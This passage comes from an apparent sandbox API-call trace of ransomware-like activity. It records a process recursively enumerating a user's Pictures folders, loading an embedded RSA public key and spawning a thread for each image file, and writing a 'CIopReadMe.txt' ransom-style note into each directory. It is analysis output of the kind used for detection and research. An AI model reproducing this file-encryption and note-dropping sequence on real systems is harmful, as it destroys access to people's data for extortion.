PUBLIC KEY-----" [0099.373] lstrcpyW (in: lpString1=0x2dc06c6, lpString2="itHSyuXpEG8bbygGV.jpg" | out: lpString1="itHSyuXpEG8bbygGV.jpg") returned="itHSyuXpEG8bbygGV.jpg" [0099.373] lstrcpyW (in: lpString1=0x2dc02c6, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\" [0099.373] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc0168, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5a0 [0099.373] SetErrorMode (uMode=0x1) returned 0x1 [0099.373] wsprintfW (in: param_1=0x2dbfd2c, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\CIopReadMe.txt") returned 102 [0099.373] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qvr-mzonfhsqrr\\q0yprzhhsmv\\72aejtrdw7i\\xdtcma3q\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x598 [0099.373] CloseHandle (hObject=0x598) returned 1 [0099.373] FindNextFileW (in: hFindFile=0x648fb8, lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 1 [0099.373] FindNextFileW (in: hFindFile=0x648fb8, lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 1 [0099.373] lstrcmpW (lpString1="lYPIT_a_zAinFFHfUDV.jpg", lpString2="..") returned 1 [0099.374] lstrcmpW (lpString1="lYPIT_a_zAinFFHfUDV.jpg", lpString2=".") returned 1 [0099.374] wsprintfW (in: param_1=0x2dc0d20, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\") returned 92 [0099.374] Sleep (dwMilliseconds=0xd) [0099.689] lstrcpyA (in: lpString1=0x2dc0168, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0099.689] lstrcpyW (in: lpString1=0x2dc06c6, lpString2="lYPIT_a_zAinFFHfUDV.jpg" | out: lpString1="lYPIT_a_zAinFFHfUDV.jpg") returned="lYPIT_a_zAinFFHfUDV.jpg" [0099.689] lstrcpyW (in: lpString1=0x2dc02c6, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\" [0099.689] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc0168, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x580 [0099.689] WaitForSingleObject (hHandle=0x580, dwMilliseconds=0xffffffff) returned 0x0 [0100.178] SetErrorMode (uMode=0x1) returned 0x1 [0100.178] wsprintfW (in: param_1=0x2dbfd2c, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\CIopReadMe.txt") returned 102 [0100.178] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qvr-mzonfhsqrr\\q0yprzhhsmv\\72aejtrdw7i\\xdtcma3q\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc [0100.178] CloseHandle (hObject=0x5bc) returned 1 [0100.178] FindNextFileW (in: hFindFile=0x648fb8, lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 0 [0100.178] FindClose (in: hFindFile=0x648fb8 | out: hFindFile=0x648fb8) returned 1 [0100.178] FindClose (in: hFindFile=0x648fb8 | out: hFindFile=0x648fb8) returned 0 [0100.178] lstrcpyW (in: lpString1=0x2dc1950, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q" [0100.178] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\*.*" [0100.178] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\*.*", lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 0x648fb8 [0100.178] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q") returned="xDtCMA3q" [0100.178] lstrcpyW (in: lpString1=0x2dbff34, lpString2="xDtCMA3q" | out: lpString1="xDtCMA3q") returned="xDtCMA3q" [0100.179] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0100.179] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0100.179] FindNextFileW (in: hFindFile=0x648fb8, lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 1 [0100.179] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0100.179] FindNextFileW (in: hFindFile=0x648fb8, lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 1 [0100.179] FindNextFileW (in: hFindFile=0x648fb8, lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 1 [0100.179] FindNextFileW (in: hFindFile=0x648fb8, lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 1 [0100.179] FindNextFileW (in: hFindFile=0x648fb8, lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 1 [0100.179] FindNextFileW (in: hFindFile=0x648fb8, lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 1 [0100.179] lstrcmpW (lpString1="J7dCVSJUmB", lpString2="..") returned 1 [0100.179] lstrcmpW (lpString1="J7dCVSJUmB", lpString2=".") returned 1 [0100.179] lstrcpyW (in: lpString1=0x2dc1130, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q" [0100.179] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\" [0100.179] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\", lpString2="J7dCVSJUmB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB" [0100.179] SetErrorMode (uMode=0x1) returned 0x1 [0100.179] lstrcpyW (in: lpString1=0x2dbfd18, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB" [0100.179] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\" [0100.179] lstrcpyW (in: lpString1=0x2dbf908, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\" [0100.179] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\*.*" [0100.179] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\*.*", lpFindFileData=0x2dbee98 | out: lpFindFileData=0x2dbee98) returned 0x649078 [0100.179] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB") returned="J7dCVSJUmB" [0100.179] lstrcpyW (in: lpString1=0x2dbe2fc, lpString2="J7dCVSJUmB" | out: lpString1="J7dCVSJUmB") returned="J7dCVSJUmB" [0100.179] FindNextFileW (in: hFindFile=0x649078, lpFindFileData=0x2dbee98 | out: lpFindFileData=0x2dbee98) returned 1 [0100.179] FindNextFileW (in: hFindFile=0x649078, lpFindFileData=0x2dbee98 | out: lpFindFileData=0x2dbee98) returned 1 [0100.179] lstrcmpW (lpString1="50YQIo4i.jpg", lpString2="..") returned 1 [0100.179] lstrcmpW (lpString1="50YQIo4i.jpg", lpString2=".") returned 1 [0100.179] wsprintfW (in: param_1=0x2dbf0e8, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\") returned 103 [0100.179] Sleep (dwMilliseconds=0xd) [0100.278] lstrcpyA (in: lpString1=0x2dbe530, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0100.278] lstrcpyW (in: lpString1=0x2dbea8e, lpString2="50YQIo4i.jpg" | out: lpString1="50YQIo4i.jpg") returned="50YQIo4i.jpg" [0100.279] lstrcpyW (in: lpString1=0x2dbe68e, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\" [0100.279] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dbe530, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5b4 [0100.280] WaitForSingleObject (hHandle=0x5b4, dwMilliseconds=0xffffffff) returned 0x0 [0100.534] SetErrorMode (uMode=0x1) returned 0x1 [0100.534] wsprintfW (in: param_1=0x2dbe0f4, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\CIopReadMe.txt") returned 113 [0100.534] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qvr-mzonfhsqrr\\q0yprzhhsmv\\72aejtrdw7i\\xdtcma3q\\j7dcvsjumb\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0100.534] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0100.534] FindResourceW (hModule=0x400000, lpName=0xb207, lpType="RC_DATA") returned 0x41b160 [0100.534] LoadResource (hModule=0x400000, hResInfo=0x41b160) returned 0x41bbf8 [0100.534] LockResource (hResData=0x41bbf8) returned 0x41bbf8 [0100.534] SizeofResource (hModule=0x400000, hResInfo=0x41b160) returned 0x759 [0100.534] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qvr-mzonfhsqrr\\q0yprzhhsmv\\72aejtrdw7i\\xdtcma3q\\j7dcvsjumb\\ciopreadme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5b0 [0100.535] WriteFile (in: hFile=0x5b0, lpBuffer=0x647580*, nNumberOfBytesToWrite=0x759, lpNumberOfBytesWritten=0x2dbe0ec, lpOverlapped=0x0 | out: lpBuffer=0x647580*, lpNumberOfBytesWritten=0x2dbe0ec*=0x759, lpOverlapped=0x0) returned 1 [0100.535] CloseHandle (hObject=0x5b0) returned 1 [0100.536] FindNextFileW (in: hFindFile=0x649078, lpFindFileData=0x2dbee98 | out: lpFindFileData=0x2dbee98) returned 1 [0100.536] lstrcmpW (lpString1="6ORqLC9av8hKhylQ04z2.png", lpString2="..") returned 1 [0100.536] lstrcmpW (lpString1="6ORqLC9av8hKhylQ04z2.png", lpString2=".") returned 1 [0100.536] wsprintfW (in: param_1=0x2dbf0e8, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\") returned 103 [0100.536] Sleep (dwMilliseconds=0xd) [0100.573] lstrcpyA (in: lpString1=0x2dbe530, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0100.574] lstrcpyW (in: lpString1=0x2dbea8e, lpString2="6ORqLC9av8hKhylQ04z2.png" | out: lpString1="6ORqLC9av8hKhylQ04z2.png") returned="6ORqLC9av8hKhylQ04z2.png" [0100.574] lstrcpyW (in: lpString1=0x2dbe68e, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\" [0100.574] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dbe530, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5b0 [0100.574] SetErrorMode (uMode=0x1) returned 0x1 [0100.574] wsprintfW (in: param_1=0x2dbe0f4, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\CIopReadMe.txt") returned 113 [0100.574] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qvr-mzonfhsqrr\\q0yprzhhsmv\\72aejtrdw7i\\xdtcma3q\\j7dcvsjumb\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5a4 [0100.576] CloseHandle (hObject=0x5a4) returned 1 [0100.576] FindNextFileW (in: hFindFile=0x649078, lpFindFileData=0x2dbee98 | out: lpFindFileData=0x2dbee98) returned 1 [0100.576] FindNextFileW (in: hFindFile=0x649078, lpFindFileData=0x2dbee98 | out: lpFindFileData=0x2dbee98) returned 1 [0100.576] lstrcmpW (lpString1="N6 e0qhUxBM.bmp", lpString2="..") returned 1 [0100.576] lstrcmpW (lpString1="N6 e0qhUxBM.bmp", lpString2=".") returned 1 [0100.576] wsprintfW (in: param_1=0x2dbf0e8, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\") returned 103 [0100.577] Sleep (dwMilliseconds=0xd) [0100.619] lstrcpyA (in: lpString1=0x2dbe530, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0100.619] lstrcpyW (in: lpString1=0x2dbea8e, lpString2="N6 e0qhUxBM.bmp" | out: lpString1="N6 e0qhUxBM.bmp") returned="N6 e0qhUxBM.bmp" [0100.619] lstrcpyW (in: lpString1=0x2dbe68e, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\" [0100.619] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dbe530, dwCreationFlags=0x0, 